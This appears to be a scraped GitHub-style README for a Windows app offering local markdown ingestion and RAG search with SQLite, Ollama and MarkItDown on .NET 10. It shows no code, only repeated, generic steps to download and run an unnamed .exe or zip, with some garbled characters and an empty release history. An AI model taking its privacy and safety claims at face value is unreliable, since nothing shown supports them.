dotnet-data-ingestion-local-rag
Enable local document ingestion and retrieval-augmented generation with a secure, .NET-based pipeline that keeps data on your machine.
Description
Enable local document ingestion and retrieval-augmented generation with a secure, .NET-based pipeline that keeps data on your machine.
README
dotnet-data-ingestion-local-rag offers a simple way to search and retrieve information from your own .md documents on your Windows PC. It keeps everything local, so your documents never leave your machine. The software uses a combination of SQLite for data storage, Ollama for AI processing, and MarkItDown to manage your markdown files. It is built on Microsoft's .NET 10 platform, which ensures stable and efficient performance.
This app is designed for users who want privacy and quick semantic search inside their markdown files. There's no need for internet access once the app is installed.
To run this app on Windows, make sure your PC meets the following:
- Windows 10 or newer (64-bit recommended)
- At least 4 GB of RAM
- Minimum of 500 MB free disk space
- .NET 10 runtime installed (the app will guide you if it's missing)
- Internet connection for the initial download and setup only
Follow these steps to get the app running on your Windows machine.
-
Download the app
Click the big blue button below to visit the download page. This page contains the latest version of the app and all related files you will need.
On the releases page, look for the most recent build. It will usually have a version number and a date. Under "Assets," you will find a
.zipor.exefile. -
Download the executable or zip file
- If you see an
.exefile, download and run it. - If you see a
.ziparchive, download it then extract the folder to a preferred location on your PC.
- If you see an
-
Run the application
- If you downloaded an installer (
.exe), double-click it and follow the steps to install. - If you downloaded a zipped folder, open it and double-click the main
.exefile inside.
- If you downloaded an installer (
-
First launch setup
When you run the app for the first time, it may prompt you to install or confirm the presence of the .NET 10 runtime. Follow the on-screen instructions.
-
Load your markdown files
Use the appβs interface to add the folder or files you want to search through. The app will scan your documents and prepare them for search.
-
Start searching
Enter your queries in plain English to find the information you need from within your markdown files.
Once installed and running, the appβs main features include:
- Document scanning: Choose folders with your markdown files for indexing.
- Semantic search: Ask questions or type keywords; the system understands the meaning, not just exact words.
- Local processing: All data stays on your PC, no cloud needed.
- SQLite vector database: Stores document info for fast retrieval.
- Ollama AI assistant: Helps understand and answer your queries.
- MarkItDown MCP: Manages and organizes your markdown file content.
The interface shows your files and the search results side by side. Click a result to open the corresponding markdown file.
You can adjust these settings to make the app fit your needs:
- Folder management: Add or remove folders from scanning.
- Update frequency: Set how often the app rescans files for changes.
- Search sensitivity: Change how broad or narrow the search results are.
- Storage location: Choose where the app saves its database files.
- Language support: Switch language settings if needed for queries.
If you experience issues, try these steps:
- Make sure you have downloaded the correct Windows version.
- Check that .NET 10 runtime is installed; the app will guide you if not.
- Confirm your markdown files are in a folder you have permission to access.
- Restart the app if it does not respond.
- Consult the app logs found in the installation folder for more details.
- Update to the latest release from the downloads page.
To get the app, please visit this page to download all necessary files:
On the page:
- Locate the latest release.
- Download the
.exeinstaller or.ziparchive for Windows. - If zipped, extract all files.
- Double-click the exe file to start running the app.
- Follow prompts for initial setup.
This app works entirely on your machine. It does not send your documents or information over the internet. Your data remains private and secure.
You can find extra details and documentation within the appβs Help menu or at the GitHub repositoryβs wiki and issues sections.
For technical questions and troubleshooting, you can open issues on the GitHub page or check existing discussions.
The app searches through Markdown (.md) files only. Ensure your content is saved in this format for it to be included in searches.
This app relates to:
- C#
- Data ingestion
- .NET
- Local AI
- Semantic search
- SQLite and vector databases
- Ollama AI toolkit
- MarkItDown document processing
- Retrieval augmented generation (RAG) technique
Keep an eye on the GitHub releases page for new features and bug fixes. Installing updates ensures the best performance and security.
Issues or questions about installing or using the app can be reported on the repositoryβs Issues tab on GitHub. Provide steps to reproduce any problems when possible.
Release History
| Version | Changes | Urgency | Date |
|---|---|---|---|
| main@2026-04-21 | Latest activity on main branch | High | 4/21/2026 |
| 0.0.0 | No release found β using repo HEAD | High | 4/11/2026 |
